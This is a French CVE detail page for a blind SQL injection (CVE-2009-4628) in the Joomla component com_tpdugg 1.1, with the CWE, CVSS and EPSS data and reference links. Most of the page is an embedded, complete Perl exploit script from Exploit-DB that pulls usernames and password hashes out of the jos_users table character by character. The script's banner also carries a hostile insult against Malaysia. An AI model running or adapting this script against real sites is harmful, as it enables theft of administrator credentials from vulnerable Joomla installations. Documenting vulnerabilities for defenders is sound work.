CVE-2009-4628 : Détail

CVE-2009-4628

SQL Injection
A03-Injection
0.78%V3
Network
2010-01-18
19h00 +00:00
2017-09-18
10h57 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

SQL injection vulnerability in the TemplatePlaza.com TPDugg (com_tpdugg) component 1.1 for Joomla! allows remote attackers to execute arbitrary SQL commands via the id parameter in a tags action to index.php.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-89 Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 9602

Date de publication : 2009-09-08 22h00 +00:00
Auteur : NoGe
EDB Vérifié : Yes

#!/usr/bin/perl #//////////////////////////////////\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\# #\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\//////////////////////////////////# # # # [o] TPDugg Joomla Component 1.1 Blind SQL Injection Exploit # # # # Software : com_tpdugg version 1.1 # # Vendor : http://www.templateplazza.com/ # # Author : NoGe # # Contact : noge[dot]code[at]gmail[dot]com # # Blog : http://evilc0de.blogspot.com - http://pacenoge.org # # # # [o] Usage # # # # root@noge:~# perl tpdugg.pl # # # # # # [+] URL Path : www.target.com/[path] # # [+] Valid ID : 1 # # [+] Column : username # # # # [!] Exploiting http://www.target.com/[path]/ ... # # # # [+] SELECT username FROM jos_users LIMIT 0,1 ... # # [+] jos_users@username> admin # # # # [!] Exploit completed. # # # # [o] Simple Joomla Password Cracker # # # # http://pacenoge.org/joomla/ # # # # [o] Greetz # # # # MainHack BrotherHood [ http://mainhack.net ] # # Vrs-hCk OoN_BoY Paman bL4Ck_3n91n3 Angela Zhang aJe # # H312Y yooogy mousekill }^-^{ loqsa zxvf martfella # # skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke # # # # --=]> COPY MY STYLE BY SAYKOJI <[=-- # # # # FUCK MALAYSIA!!! # # DON'T YOU HAVE YOUR OWN CULTURE? # # AHH I FORGOT.. YOU DON'T HAVE ANY CULTURE. HAHAHAHA... # # # #//////////////////////////////////\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\# #\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\//////////////////////////////////# use HTTP::Request; use LWP::UserAgent; # table : jos_users # column : username and password $cmsapp = '[-x-]'; $vuln = 'index.php?option=com_tpdugg&task=tags&id='; $table = 'jos_users'; $regexp = 'There are no items'; $maxlen = 65; my $OS = "$^O"; if ($OS eq 'MSWin32') { system("cls"); } else { system("clear"); } printf "\n $cmsapp [x]====================================================[x] | Joomla Component com_tpdugg BSQL Injection Exploit | | [F]ound by NoGe [C]oded by Vrs-hCk | | www[dot]pacenoge[dot]org | [x]====================================================[x] \n"; print " [+] URL Path : "; chomp($web=<STDIN>); print " [+] Valid ID : "; chomp($id=<STDIN>); print " [+] Column : "; chomp($columns=<STDIN>); if ($web =~ /http:\/\// ) { $target = $web."/"; } else { $target = "http://".$web."/"; } print "\n\n [!] Exploiting $target ...\n\n"; &get_data; print "\n\n [!] Exploit completed.\n\n"; sub get_data() { @columns = split(/,/, $columns); foreach $column (@columns) { print " [+] SELECT $column FROM $table LIMIT 0,1 ...\n"; syswrite(STDOUT, " [+] $table\@$column> ", 255); for (my $i=1; $i<=$maxlen; $i++) { my $chr = 0; my $found = 0; my $char = 48; while (!$chr && $char<=90) { if(exploit($i,$char) !~ /$regexp/) { $chr = 1; $found = 1; syswrite(STDOUT,chr($char),1); } else { $found = 0; } $char++; } if(!$chr) { $char = 97; while(!$chr && $char<=122) { if(exploit($i,$char) !~ /$regexp/) { $chr = 1; $found = 1; syswrite(STDOUT,chr($char),1); } else { $found = 0; } $char++; } } if (!$found) { print "\n"; last; } } } } sub exploit() { my $limit = $_[0]; my $chars = $_[1]; my $blind = '+AND+ASCII(SUBSTRING((SELECT+'.$column.'+FROM+'.$table.'+LIMIT+0,1),'.$limit.',1))='.$chars; my $inject = $target.$vuln.$id.$blind; my $content = get_content($inject); return $content; } sub get_content() { my $url = $_[0]; my $req = HTTP::Request->new(GET => $url); my $ua = LWP::UserAgent->new(); $ua->timeout(5); my $res = $ua->request($req); if ($res->is_error){ print "\n\n [!] Error, ".$res->status_line.".\n\n"; exit; } return $res->content; } # milw0rm.com [2009-09-09]

Products Mentioned

Configuraton 0

Templateplaza>>Com_tpdugg >> Version 1.1

    Joomla>>Joomla\! >> Version *

    Références

    http://osvdb.org/57894
    Tags : vdb-entry, x_refsource_OSVDB
    http://www.securityfocus.com/bid/36321
    Tags : vdb-entry, x_refsource_BID
    http://www.vupen.com/english/advisories/2009/2610
    Tags : vdb-entry, x_refsource_VUPEN
    http://secunia.com/advisories/36656
    Tags : third-party-advisory, x_refsource_SECUNIA
    http://www.exploit-db.com/exploits/9602
    Tags : exploit, x_refsource_EXPLOIT-DB